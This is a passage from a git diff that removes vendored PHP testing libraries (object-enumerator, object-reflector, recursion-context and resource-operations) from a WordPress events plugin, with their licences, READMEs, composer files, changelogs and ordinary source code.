https://github.com/sebastianbergmann/object-enumerator/compare/3.0.2...3.0.3 -[3.0.2]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/2.0...3.0.0 -[2.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/1.0...2.0.0 - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/LICENSE deleted file mode 100644 index 1389ad39..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -Object Enumerator - -Copyright (c) 2016-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/README.md deleted file mode 100644 index afca0177..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# sebastian/object-enumerator - -[![CI Status](https://github.com/sebastianbergmann/object-enumerator/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/object-enumerator/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/object-enumerator/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/object-enumerator) - -Traverses array structures and object graphs to enumerate all referenced objects. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/object-enumerator -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/object-enumerator -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/composer.json deleted file mode 100644 index d68a2133..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/composer.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "name": "sebastian/object-enumerator", - "description": "Traverses array structures and object graphs to enumerate all referenced objects", - "homepage": "https://github.com/sebastianbergmann/object-enumerator/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "prefer-stable": true, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3", - "sebastian/object-reflector": "^2.0", - "sebastian/recursion-context": "^4.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/_fixture/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/phpunit.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/phpunit.xml deleted file mode 100644 index 7be976b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/phpunit.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - - tests - - - - - - src - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Enumerator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Enumerator.php deleted file mode 100644 index de75d17c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Enumerator.php +++ /dev/null @@ -1,88 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ObjectEnumerator; - -use function array_merge; -use function func_get_args; -use function is_array; -use function is_object; -use SebastianBergmann\ObjectReflector\ObjectReflector; -use SebastianBergmann\RecursionContext\Context; - -/** - * Traverses array structures and object graphs - * to enumerate all referenced objects. - */ -class Enumerator -{ - /** - * Returns an array of all objects referenced either - * directly or indirectly by a variable. - * - * @param array|object $variable - * - * @return object[] - */ - public function enumerate($variable) - { - if (!is_array($variable) && !is_object($variable)) { - throw new InvalidArgumentException; - } - - if (isset(func_get_args()[1])) { - if (!func_get_args()[1] instanceof Context) { - throw new InvalidArgumentException; - } - - $processed = func_get_args()[1]; - } else { - $processed = new Context; - } - - $objects = []; - - if ($processed->contains($variable)) { - return $objects; - } - - $array = $variable; - $processed->add($variable); - - if (is_array($variable)) { - foreach ($array as $element) { - if (!is_array($element) && !is_object($element)) { - continue; - } - - $objects = array_merge( - $objects, - $this->enumerate($element, $processed) - ); - } - } else { - $objects[] = $variable; - - $reflector = new ObjectReflector; - - foreach ($reflector->getAttributes($variable) as $value) { - if (!is_array($value) && !is_object($value)) { - continue; - } - - $objects = array_merge( - $objects, - $this->enumerate($value, $processed) - ); - } - } - - return $objects; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Exception.php deleted file mode 100644 index 2f09d70a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ObjectEnumerator; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/InvalidArgumentException.php deleted file mode 100644 index ce2037cd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/InvalidArgumentException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ObjectEnumerator; - -class InvalidArgumentException extends \InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/baseline.xml deleted file mode 100644 index 965c1275..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/baseline.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - is_object($object) - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/config.xml deleted file mode 100644 index 2a4b16f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/ChangeLog.md deleted file mode 100644 index 7fa62e90..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/ChangeLog.md +++ /dev/null @@ -1,55 +0,0 @@ -# Change Log - -All notable changes to `sebastianbergmann/object-reflector` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [2.0.4] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\ObjectReflector\Exception` now correctly extends `\Throwable` - -## [2.0.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [2.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [2.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [2.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 - -## [1.1.1] - 2017-03-29 - -* Fixed [#1](https://github.com/sebastianbergmann/object-reflector/issues/1): Attributes with non-string names are not handled correctly - -## [1.1.0] - 2017-03-16 - -### Changed - -* Changed implementation of `ObjectReflector::getattributes()` to use `(array)` cast instead of `ReflectionObject` - -## 1.0.0 - 2017-03-12 - -* Initial release - -[2.0.4]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.3...2.0.4 -[2.0.3]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.2...2.0.3 -[2.0.2]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.1...2.0.2 -[2.0.1]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/object-reflector/compare/1.1.1...2.0.0 -[1.1.1]: https://github.com/sebastianbergmann/object-reflector/compare/1.1.0...1.1.1 -[1.1.0]: https://github.com/sebastianbergmann/object-reflector/compare/1.0.0...1.1.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/LICENSE deleted file mode 100644 index a80c1619..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -Object Reflector - -Copyright (c) 2017-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/README.md deleted file mode 100644 index b7d5ae95..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# sebastian/object-reflector - -[![CI Status](https://github.com/sebastianbergmann/object-reflector/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/object-reflector/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/object-reflector/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/object-reflector) - -Allows reflection of object attributes, including inherited and non-public ones. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/object-reflector -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/object-reflector -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/composer.json deleted file mode 100644 index 36a33788..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/composer.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "name": "sebastian/object-reflector", - "description": "Allows reflection of object attributes, including inherited and non-public ones", - "homepage": "https://github.com/sebastianbergmann/object-reflector/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "prefer-stable": true, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/_fixture/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/Exception.php deleted file mode 100644 index 36f8efec..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ObjectReflector; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/InvalidArgumentException.php deleted file mode 100644 index 34b4cca1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/InvalidArgumentException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ObjectReflector; - -class InvalidArgumentException extends \InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/ObjectReflector.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/ObjectReflector.php deleted file mode 100644 index 4abb5f55..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/ObjectReflector.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\ObjectReflector; - -use function count; -use function explode; -use function get_class; -use function is_object; - -class ObjectReflector -{ - /** - * @param object $object - * - * @throws InvalidArgumentException - */ - public function getAttributes($object): array - { - if (!is_object($object)) { - throw new InvalidArgumentException; - } - - $attributes = []; - $className = get_class($object); - - foreach ((array) $object as $name => $value) { - $name = explode("\0", (string) $name); - - if (count($name) === 1) { - $name = $name[0]; - } else { - if ($name[1] !== $className) { - $name = $name[1] . '::' . $name[2]; - } else { - $name = $name[2]; - } - } - - $attributes[$name] = $value; - } - - return $attributes; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/ChangeLog.md deleted file mode 100644 index c1a76516..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/ChangeLog.md +++ /dev/null @@ -1,40 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [4.0.5] - 2023-02-03 - -### Fixed - -* [#26](https://github.com/sebastianbergmann/recursion-context/pull/26): Don't clobber `null` values if `array_key_exists(PHP_INT_MAX, $array)` - -## [4.0.4] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\RecursionContext\Exception` now correctly extends `\Throwable` - -## [4.0.3] - 2020-09-28 - -### Changed - -* [#21](https://github.com/sebastianbergmann/recursion-context/pull/21): Add type annotations for in/out parameters -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [4.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [4.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -[4.0.5]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.4...4.0.5 -[4.0.4]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.3...4.0.4 -[4.0.3]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.2...4.0.3 -[4.0.2]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.1...4.0.2 -[4.0.1]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.0...4.0.1 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/LICENSE deleted file mode 100644 index 4e9b6371..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -Recursion Context - -Copyright (c) 2002-2022, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/README.md deleted file mode 100644 index 8e4d2a08..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/README.md +++ /dev/null @@ -1,18 +0,0 @@ -# sebastian/recursion-context - -[![CI Status](https://github.com/sebastianbergmann/recursion-context/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/recursion-context/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/recursion-context/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/recursion-context) - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/recursion-context -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/recursion-context -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/composer.json deleted file mode 100644 index cbd39f76..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/composer.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "name": "sebastian/recursion-context", - "description": "Provides functionality to recursively process PHP variables", - "homepage": "https://github.com/sebastianbergmann/recursion-context", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Jeff Welch", - "email": "whatthejeff@gmail.com" - }, - { - "name": "Adam Harvey", - "email": "aharvey@php.net" - } - ], - "prefer-stable": true, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Context.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Context.php deleted file mode 100644 index a647938c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Context.php +++ /dev/null @@ -1,191 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\RecursionContext; - -use const PHP_INT_MAX; -use const PHP_INT_MIN; -use function array_key_exists; -use function array_pop; -use function array_slice; -use function count; -use function is_array; -use function is_object; -use function random_int; -use function spl_object_hash; -use SplObjectStorage; - -/** - * A context containing previously processed arrays and objects - * when recursively processing a value. - */ -final class Context -{ - /** - * @var array[] - */ - private $arrays; - - /** - * @var SplObjectStorage - */ - private $objects; - - /** - * Initialises the context. - */ - public function __construct() - { - $this->arrays = []; - $this->objects = new SplObjectStorage; - } - - /** - * @codeCoverageIgnore - */ - public function __destruct() - { - foreach ($this->arrays as &$array) { - if (is_array($array)) { - array_pop($array); - array_pop($array); - } - } - } - - /** - * Adds a value to the context. - * - * @param array|object $value the value to add - * - * @throws InvalidArgumentException Thrown if $value is not an array or object - * - * @return bool|int|string the ID of the stored value, either as a string or integer - * - * @psalm-template T - * @psalm-param T $value - * @param-out T $value - */ - public function add(&$value) - { - if (is_array($value)) { - return $this->addArray($value); - } - - if (is_object($value)) { - return $this->addObject($value); - } - - throw new InvalidArgumentException( - 'Only arrays and objects are supported' - ); - } - - /** - * Checks if the given value exists within the context. - * - * @param array|object $value the value to check - * - * @throws InvalidArgumentException Thrown if $value is not an array or object - * - * @return false|int|string the string or integer ID of the stored value if it has already been seen, or false if the value is not stored - * - * @psalm-template T - * @psalm-param T $value - * @param-out T $value - */ - public function contains(&$value) - { - if (is_array($value)) { - return $this->containsArray($value); - } - - if (is_object($value)) { - return $this->containsObject($value); - } - - throw new InvalidArgumentException( - 'Only arrays and objects are supported' - ); - } - - /** - * @return bool|int - */ - private function addArray(array &$array) - { - $key = $this->containsArray($array); - - if ($key !== false) { - return $key; - } - - $key = count($this->arrays); - $this->arrays[] = &$array; - - if (!array_key_exists(PHP_INT_MAX, $array) && !array_key_exists(PHP_INT_MAX - 1, $array)) { - $array[] = $key; - $array[] = $this->objects; - } else { /* cover the improbable case too */ - /* Note that array_slice (used in containsArray) will return the - * last two values added *not necessarily* the highest integer - * keys in the array, so the order of these writes to $array - * is important, but the actual keys used is not. */ - do { - $key = random_int(PHP_INT_MIN, PHP_INT_MAX); - } while (array_key_exists($key, $array)); - - $array[$key] = $key; - - do { - $key = random_int(PHP_INT_MIN, PHP_INT_MAX); - } while (array_key_exists($key, $array)); - - $array[$key] = $this->objects; - } - - return $key; - } - - /** - * @param object $object - */ - private function addObject($object): string - { - if (!$this->objects->contains($object)) { - $this->objects->attach($object); - } - - return spl_object_hash($object); - } - - /** - * @return false|int - */ - private function containsArray(array &$array) - { - $end = array_slice($array, -2); - - return isset($end[1]) && $end[1] === $this->objects ? $end[0] : false; - } - - /** - * @param object $value - * - * @return false|string - */ - private function containsObject($value) - { - if ($this->objects->contains($value)) { - return spl_object_hash($value); - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Exception.php deleted file mode 100644 index 9389a271..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\RecursionContext; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/InvalidArgumentException.php deleted file mode 100644 index 93d150bc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/InvalidArgumentException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\RecursionContext; - -final class InvalidArgumentException extends \InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/ChangeLog.md deleted file mode 100644 index eae06290..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/ChangeLog.md +++ /dev/null @@ -1,59 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [3.0.4] - 2024-03-14 - -No functional changes. - -## [3.0.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [3.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [3.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [3.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.1 and PHP 7.2 - -## [2.0.1] - 2018-10-04 - -### Fixed - -* Functions and methods with nullable parameters of type `resource` are now also considered - -## [2.0.0] - 2018-09-27 - -### Changed - -* [FunctionSignatureMap.php](https://raw.githubusercontent.com/phan/phan/master/src/Phan/Language/Internal/FunctionSignatureMap.php) from `phan/phan` is now used instead of [arginfo.php](https://raw.githubusercontent.com/rlerdorf/phan/master/includes/arginfo.php) from `rlerdorf/phan` - -### Removed - -* This component is no longer supported on PHP 5.6 and PHP 7.0 - -## 1.0.0 - 2015-07-28 - -* Initial release - -[3.0.4]: https://github.com/sebastianbergmann/comparator/resource-operations/3.0.3...3.0.4 -[3.0.3]: https://github.com/sebastianbergmann/comparator/resource-operations/3.0.2...3.0.3 -[3.0.2]: https://github.com/sebastianbergmann/comparator/resource-operations/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/comparator/resource-operations/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/comparator/resource-operations/2.0.1...3.0.0 -[2.0.1]: 